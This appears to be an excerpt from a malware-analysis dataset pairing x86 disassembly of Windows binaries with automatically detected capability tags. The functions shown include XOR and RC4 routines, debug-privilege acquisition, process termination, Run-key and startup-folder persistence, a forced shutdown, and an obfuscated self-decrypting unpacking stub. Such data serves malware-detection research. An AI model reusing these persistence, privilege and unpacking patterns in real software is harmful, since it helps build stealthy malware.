joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4170b0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x20c
mov dword [esp], ecx
mov edi, dword [esp + 0x220]
movzx edx, word [edi]
test dx, dx
je 0x4171ca
lea eax, [edi + 2]
xor ebx, ebx
mov ecx, 1
nop word [eax + eax]
movzx esi, dx
xor edx, edx
cmp esi, 0x800
setb dl
xor edx, 3
cmp esi, 0x80
cmovb edx, ecx
add ebx, edx
movzx edx, word [eax]
add eax, 2
test dx, dx
jne 0x4170e0
lea esi, [ebx + 1]
push esi
call fcn.00449e70
add esp, 4
mov ebp, eax
test ebx, ebx
jle 0x4171d8
add ebx, ebp
add esi, ebp
mov eax, ebp
mov dword [esp + 8], esi
jmp 0x417148
mov byte [eax], dl
mov esi, 1
add edi, 2
add eax, esi
cmp eax, ebx
mov esi, dword [esp + 8]
jae 0x4171da
movzx edx, word [edi]
test dx, dx
je 0x4171da
cmp dx, 0x7f
jbe 0x417130
mov ecx, eax
not ecx
add ecx, esi
movzx esi, dx
cmp esi, 0x7ff
ja 0x417190
xor esi, esi
cmp ecx, 2
jb 0x417137
mov ecx, edx
shr ecx, 6
add cl, 0xc0
mov byte [eax], cl
and dl, 0x3f
or dl, 0x80
mov byte [eax + 1], dl
mov esi, 2
jmp 0x417137
mov dword [esp + 4], esi
xor esi, esi
cmp ecx, 3
jb 0x417137
mov esi, dword [esp + 4]
mov ecx, esi
shr ecx, 0xc
or cl, 0xe0
mov byte [eax], cl
mov ecx, esi
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [eax + 1], cl
and dl, 0x3f
or dl, 0x80
mov byte [eax + 2], dl
mov esi, 3
jmp 0x417137
push 1
call fcn.00449e70
add esp, 4
mov ebp, eax
jmp 0x4171da
mov eax, ebp
mov edi, dword [esp + 0x228]
mov edx, dword [esp + 0x224]
mov byte [eax], 0
xor ecx, ecx
jmp 0x4171f7
mov eax, ebx
mov byte [esp + ecx + 0xc], al
inc ecx
movzx ebx, byte [ebp + ecx]
mov al, 0x2f
cmp ebx, 0x5c
je 0x4171f2
test ebx, ebx
jne 0x4171f0
mov byte [esp + ecx + 0xc], 0
lea eax, [esp + 0xc]
push 0
push 0
push 0
mov ecx, dword [esp + 0xc]
push dword [ecx + 8]
add ecx, 0x10
push 0
push 0
push edi
push edx
push eax
push ecx
call fcn.0040e020
add esp, 0x28
test eax, eax
setne al
add esp, 0x20c
pop esi
pop edi
pop ebx
pop ebp
ret 0xc
Function at 0x44e3f8
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xc
mov eax, dword [0x4729c4]
test eax, eax
jne 0x44e466
movzx eax, byte [0x46d040]
mov ecx, eax
add cl, al
and cl, 0xe2
sub al, cl
add al, 0xf1
mov byte [0x46d060], al
mov eax, 0xb3cb9795
xor eax, dword [0x46d041]
mov dword [0x46d061], eax
movzx eax, byte [0x46d045]
xor al, 0x87
mov byte [0x46d065], al
movzx eax, byte [0x46d046]
mov ecx, eax
add cl, al
and cl, 0x3e
sub al, cl
add al, 0x9f
mov byte [0x46d066], al
movzx eax, byte [0x46d047]
mov ecx, eax
add cl, al
and cl, 0x66
sub al, cl
add al, 0x33
mov byte [0x46d067], al
movzx eax, byte [0x46d048]
mov ecx, eax
add cl, al
and cl, 0x3c
sub al, cl
add al, 0x9e
mov byte [0x46d068], al
movsd xmm0, qword [0x46d049]
xorps xmm0, xmmword [0x456230]
movlps qword [0x46d069], xmm0
mov dword [0x4729c4], 1
push eax
sub esp, 0x10
mov ebx, esp
push eax
mov ecx, esp
push eax
mov eax, esp
push eax
mov edx, esp
mov edi, dword [0x4724b8]
test edi, edi
je 0x44e4cc
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 8]
mov esi, dword [0x4724bc]
xor edx, edx
cmp dword [esi], eax
je 0x44e4db
mov dword [ebp - 0x10], esi
cmp edi, 1
je 0x44e4cc
mov esi, ecx
mov ecx, dword [ebp - 0x10]
add ecx, 0xc
mov edx, 1
nop word cs:[eax + eax]
cmp dword [ecx], eax
je 0x44e4d6
inc edx
add ecx, 0xc
cmp edi, edx
jne 0x44e4c0
mov edi, 0xffffffff
jmp 0x44e55a
mov ecx, esi
mov esi, dword [ebp - 0x10]
movzx eax, byte [0x46d070]
mov byte [ebx + 0x10], al
movaps xmm0, xmmword [0x46d060]
movups xmmword [ebx], xmm0
lea eax, [edx + edx*2]
mov eax, dword [esi + eax*4 + 8]
mov dword [ebx + 1], eax
mov eax, dword [0x4724c0]
mov dword [ebx + 6], eax
mov word [ebx + 0xd], 8
mov dword [ecx], 0
mov eax, dword [ebp - 0x14]
mov dword [eax], 0x10
push 0x40
push 0x3000
push eax
push 0
push ecx
push 0xffffffffffffffff
mov esi, ecx
call dword [0x4724c4]
mov edi, dword [esi]
mov ecx, 4
xchg esi, ebx
rep movsd dword es:[edi], dword [esi]
xchg esi, ebx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [esi]
mov edi, eax
mov eax, dword [ebp - 0x18]
mov dword [eax], 0
push 0x8000
push eax
push esi
push 0xffffffffffffffff
call dword [0x4724c8]
mov eax, edi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x401011
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov ecx, dword [ebp - 8]
mov esi, eax
cmp ecx, 2
jle 0x401057
push dword [esi + 8]
lea ecx, [ebp - 4]
call fcn.004016a2
push 0x40e3f4
push dword [ebp - 4]
call fcn.00401c1d
pop ecx
pop ecx
lea ecx, [ebp - 4]
call fcn.00401272
mov ecx, dword [ebp - 8]
cmp ecx, 1
jle 0x401078
mov esi, dword [esi + 4]
cmp word [esi], 0x2d
jne 0x401068
add esi, 2
test esi, esi
je 0x401078
call fcn.0040107d
mov ecx, esi
call fcn.00401100
xor eax, eax
pop esi
leave
ret

Function at 0x40107d
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x410040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x18]
push eax
xor esi, esi
push 0x20
mov dword [ebp - 0x18], esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4010ea
lea eax, [ebp - 0x20]
push eax
push str.SeDebugPrivilege
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x4010ea
mov eax, dword [ebp - 0x20]
push esi
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x1c]
push esi
push 0x10
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x14]
push eax
push esi
push dword [ebp - 0x18]
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00401a33
leave
ret
Function at 0x401100
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push 0x23c
mov eax, 0x409a08
call fcn.0040868f
mov esi, ecx
mov dword [ebp - 0x248], esi
xor ebx, ebx
push ebx
push 2
mov dword [ebp - 0x23c], 0x22c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x401238
lea eax, [ebp - 0x23c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x401228
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x240]
call fcn.004016a2
and dword [ebp - 4], 0
push esi
lea ecx, [ebp - 0x244]
call fcn.004016a2
lea ecx, [ebp - 0x240]
mov byte [ebp - 4], 1
call fcn.0040124a
lea ecx, [ebp - 0x244]
call fcn.0040124a
mov esi, dword [ebp - 0x244]
cmp dword [esi - 4], 1
jle 0x4011a6
push dword [esi - 0xc]
lea ecx, [ebp - 0x244]
call fcn.00401488
mov esi, dword [ebp - 0x244]
mov eax, dword [ebp - 0x240]
cmp dword [eax - 4], 1
jle 0x4011c6
push dword [eax - 0xc]
lea ecx, [ebp - 0x240]
call fcn.00401488
mov eax, dword [ebp - 0x240]
push esi
push eax
call fcn.00401c1d
pop ecx
pop ecx
test eax, eax
jne 0x4011fa
push dword [ebp - 0x234]
push eax
push 0x401
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor ebx, ebx
inc ebx
lea ecx, [ebp - 0x244]
call fcn.00401272
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x240]
call fcn.00401272
lea eax, [ebp - 0x23c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
mov esi, dword [ebp - 0x248]
cmp eax, 1
je 0x40114a
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
call fcn.0040864d
ret

Function at 0x40128f
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4012e8
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4012d9
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, dword [ebp + 8]
lea ecx, [esi + eax]
and edx, 0xf
jbe 0x4012d5
cmp esi, ecx
jae 0x4012d9
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
dec edx
jne 0x4012c5
cmp esi, ecx
jb 0x4012dd
xor eax, eax
jmp 0x4012e7
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x406cb4
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x410040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.00405101
mov dword [ebp - 0x14], eax
cmp dword [0x411d68], edi
jne 0x406da5
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x406d32
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x406e85
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x406e85
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x406e85
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x411d68], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x411d6c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x411d70], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x411d78], eax
test eax, eax
je 0x406da2
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x411d74], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x406dca
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x406dbd
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x406ddf
push 4
pop eax
jmp 0x406e87
cmp dword [ebp - 0x14], edi
je 0x406ddf
push dword [0x411d68]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x406dc4
mov eax, dword [0x411d74]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x406e3d
cmp dword [0x411d78], esi
je 0x406e3d
push eax
call ebx
push dword [0x411d78]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x406e3d
test eax, eax
je 0x406e3d
call ecx
test eax, eax
je 0x406e32
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x406e32
test byte [ebp - 8], 1
jne 0x406e3d
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x406e6d
mov eax, dword [0x411d6c]
cmp eax, esi
je 0x406e6a
push eax
call ebx
test eax, eax
je 0x406e6a
call eax
mov edi, eax
test edi, edi
je 0x406e6a
mov eax, dword [0x411d70]
cmp eax, esi
je 0x406e6a
push eax
call ebx
test eax, eax
je 0x406e6a
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x411d68]
call ebx
test eax, eax
je 0x406e85
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x406e87
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401a33
leave
ret
Function at 0x1001531
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov eax, dword [0x1003220]
mov ebp, esp
sub esp, 0x428
push ebx
push esi
mov dword [ebp - 4], eax
xor ebx, ebx
xor esi, esi
lea eax, [ebp - 0x418]
push eax
push 0x1001178
push 0x80000001
mov dword [ebp - 0x41c], ecx
mov dword [ebp - 0x418], ebx
mov dword [ebp - 0x428], ebx
mov dword [ebp - 0x424], ebx
mov dword [ebp - 0x420], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x1001615
lea eax, [ebp - 0x424]
push eax
lea eax, [ebp - 0x420]
push eax
lea eax, [ebp - 0x428]
push eax
push ebx
push 0x1001150
push dword [ebp - 0x418]
mov dword [ebp - 0x424], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1001615
cmp dword [ebp - 0x420], ebx
je 0x1001615
lea eax, [ebp - 0x414]
mov esi, dword [sym.imp.USER32.dll_LoadStringW]
push edi
mov edi, 0x104
push edi
push eax
push 0x3ee
push dword [ebp - 0x41c]
call esi
push edi
lea eax, [ebp - 0x20c]
push eax
push 0x3ef
push dword [ebp - 0x41c]
call esi
lea eax, [ebp - 0x414]
push 0x10
lea edi, [ebp - 0x20c]
push edi
push eax
push ebx
call dword [sym.imp.USER32.dll_MessageBoxW]
xor esi, esi
inc esi
pop edi
cmp dword [ebp - 0x418], ebx
je 0x1001629
push dword [ebp - 0x418]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
mov ecx, dword [ebp - 4]
pop ebx
call fcn.01001dbe
leave
ret
Function at 0x10016f7
Capabilities:
Shutdown system

Disassembly:
mov edi, edi
push ebp
mov eax, dword [0x1003220]
mov ebp, esp
add esp, 0xfffff7e8
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
push 0x10012b4
xor edi, edi
push edi
mov dword [ebp - 4], eax
mov dword [ebp - 0x818], edi
call dword [sym.imp.msvcrt.dll_setlocale]
pop ecx
pop ecx
push 0x1001250
push 1
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
mov dword [ebp - 0x814], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor ecx, ecx
cmp eax, 0xb7
jne 0x1001758
call fcn.01001669
jmp 0x1001856
inc ecx
call fcn.01001669
test eax, eax
jne 0x1001856
call fcn.01001afd
or eax, eax
je 0x1001774
call fcn.01001a29
mov ecx, esi
call fcn.01001429
or eax, eax
je 0x1001856
mov ecx, esi
call fcn.01001531
test eax, eax
jne 0x1001856
lea eax, [ebp - 0x610]
push 0x105
push ebx
push eax
call dword [sym.imp.msvcrt.dll_mbstowcs]
lea eax, [ebp - 0x818]
sub esp, 0xfffffff4
push eax
lea eax, [ebp - 0x610]
push dword [ebp + 0x14]
push eax
call sub.INETCFG.dll__LaunchSignupWizard_12
cmp dword [ebp - 0x818], 1
jne 0x1001856
lea edx, [ebp - 0x404]
mov ecx, 0x3ea
mov esi, 0x100
push esi
call fcn.0100163c
mov ecx, 0x3e8
push esi
lea edx, [ebp - 0x204]
call fcn.0100163c
mov esi, dword [sym.imp.USER32.dll_MessageBoxW]
lea eax, [ebp - 0x204]
push 0x124
push eax
lea eax, [ebp - 0x404]
push eax
push edi
call esi
cmp eax, 6
jne 0x1001856
call fcn.01001bb2
call fcn.01001cb7
test eax, eax
je 0x100182e
push edi
push 2
call dword [sym.imp.USER32.dll_ExitWindowsEx]
test eax, eax
jne 0x1001856
mov ecx, 0x3eb
lea edx, [ebp - 0x810]
push 0x200
call fcn.0100163c
push 0x10
lea ebx, [ebp - 0x204]
lea eax, [ebp - 0x810]
push ebx
push eax
push edi
call esi
cmp dword [ebp - 0x814], edi
pop edi
pop esi
pop ebx
je 0x100186d
push dword [ebp - 0x814]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor eax, eax
call fcn.01001dbe
leave
ret 0x10
Function at 0x1001880
Capabilities:
Get common file path
Get startup folder
Write file on windows
Write file to startup folder

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [0x1003220]
add esp, 0xfffffdd8
push ebx
xor ebx, ebx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x220]
push eax
push 0x18
push ebx
mov dword [ebp - 0x224], ecx
mov dword [ebp - 0x228], ebx
mov dword [ebp - 0x220], ebx
mov dword [ebp - 0x21c], ebx
call sub.SHELL32.dll_SHGetSpecialFolderLocation
test eax, eax
jne 0x1001a13
lea eax, [ebp - 0x210]
push eax
push dword [ebp - 0x220]
call sub.SHELL32.dll_SHGetPathFromIDListW
or eax, eax
je 0x1001a13
lea eax, [ebp - 0x21c]
push eax
call sub.SHELL32.dll_SHGetMalloc
test eax, eax
jl 0x100190d
mov eax, dword [ebp - 0x21c]
push dword [ebp - 0x220]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov eax, dword [ebp - 0x21c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push esi
lea eax, [ebp - 0x210]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push edi
push eax
call esi
cmp word [ebp + eax*2 - 0x212], 0x5c
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
je 0x100193d
lea eax, [ebp - 0x210]
push 0x1001304
push eax
call edi
push 0x10012b8
lea eax, [ebp - 0x210]
push eax
call edi
push ebx
push 0x80000080
lea eax, [ebp - 0x210]
push 2
push ebx
push ebx
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x214], eax
cmp eax, 0xffffffff
je 0x1001a11
push ebx
mov edi, 0x10012d4
lea eax, [ebp - 0x218]
push eax
push edi
call esi
push eax
push edi
push dword [ebp - 0x214]
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
call edi
test eax, eax
je 0x1001a05
push ebx
mov ebx, 0x10012e4
lea eax, [ebp - 0x218]
push eax
push ebx
call esi
push eax
push ebx
push dword [ebp - 0x214]
call edi
test eax, eax
je 0x1001a05
lea eax, [ebp - 0x218]
push 0
push eax
push dword [ebp - 0x224]
call esi
push eax
push dword [ebp - 0x224]
push dword [ebp - 0x214]
call edi
or eax, eax
je 0x1001a05
lea eax, [ebp - 0x218]
push 0
push eax
mov ebx, 0x10012f4
push ebx
call esi
push eax
push ebx
push dword [ebp - 0x214]
call edi
test eax, eax
je 0x1001a05
mov dword [ebp - 0x228], 1
push dword [ebp - 0x214]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, dword [ebp - 0x228]
pop ebx
mov ecx, dword [ebp - 4]
call fcn.01001dbe
leave
ret
Function at 0x1001a29
Capabilities:
Delete file
Get common file path
Get startup folder

Disassembly:
push ebp
mov edi, edi
mov ebp, esp
mov eax, dword [0x1003220]
add esp, 0xfffffde8
lea ecx, [ebp - 0x218]
push ecx
mov dword [ebp - 4], eax
push 0x18
xor eax, eax
push eax
mov dword [ebp - 0x218], eax
mov dword [ebp - 0x214], eax
call sub.SHELL32.dll_SHGetSpecialFolderLocation
or eax, eax
jne 0x1001aee
lea eax, [ebp - 0x210]
push eax
push dword [ebp - 0x218]
call sub.SHELL32.dll_SHGetPathFromIDListW
or eax, eax
je 0x1001aee
lea eax, [ebp - 0x214]
push eax
call sub.SHELL32.dll_SHGetMalloc
or eax, eax
jl 0x1001aa5
mov eax, dword [ebp - 0x214]
push dword [ebp - 0x218]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov eax, dword [ebp - 0x214]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
lea eax, [ebp - 0x210]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp word [ebp + eax*2 - 0x212], 0x5c
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
je 0x1001ad2
lea eax, [ebp - 0x210]
push 0x1001304
push eax
call esi
push 0x10012b8
lea eax, [ebp - 0x210]
push eax
call esi
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
pop esi
mov ecx, dword [ebp - 4]
call fcn.01001dbe
leave
ret

Function at 0x1001b51
Capabilities:
Check os version

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
add esp, 0xfffffee8
mov eax, dword [0x1003220]
push edi
push 0x45
mov dword [ebp - 4], eax
pop ecx
xor eax, eax
lea edi, [ebp - 0x118]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x118]
push eax
mov dword [ebp - 0x118], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [ebp - 0x108], 2
pop edi
jne 0x1001ba1
cmp dword [ebp - 0x114], 5
jb 0x1001ba1
xor eax, eax
inc eax
jmp 0x1001ba3
xor eax, eax
mov ecx, dword [ebp - 4]
call fcn.01001dbe
leave
ret
Function at 0x1001bb2
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
mov edi, edi
push ebp
mov eax, dword [0x1003220]
mov ebp, esp
sub esp, 0x73c
push esi
mov esi, 0x3f4
mov dword [ebp - 4], eax
lea eax, [ebp - 0x210]
push 0x105
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x1001ca5
and word [ebp - 8], 0
lea eax, [ebp - 0x624]
push edi
push 0x209
push eax
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
lea edi, [ebp - 0x738]
and word [ebp - 0x214], 0
push 0x45
pop ecx
xor eax, eax
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x738]
push eax
mov dword [ebp - 0x738], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
jne 0x1001c41
push 0x45
pop ecx
lea edi, [ebp - 0x738]
rep stosd dword es:[edi], eax
cmp dword [ebp - 0x728], 2
pop edi
jne 0x1001c5a
lea ecx, [ebp - 0x624]
call fcn.01001880
mov esi, eax
jmp 0x1001ca5
lea eax, [ebp - 0x73c]
push eax
push 0x1001308
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov esi, eax
test esi, esi
jne 0x1001ca5
push 0x412
lea eax, [ebp - 0x624]
push eax
push 1
push esi
push str.inetwiz
push dword [ebp - 0x73c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov esi, eax
push dword [ebp - 0x73c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
call fcn.01001dbe
leave
ret
Function at 0x433000
Capabilities:
Check http status code
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x433072
nop
mov ebx, 0x40de38
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x3be7570
nop
nop
nop
nop
xor dword [eax], esi
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x433060
nop
nop
nop
mov eax, section..text_1
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x4330d2
nop
mov ebx, 0x4304d8
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x4e842c6e
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4330c0
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219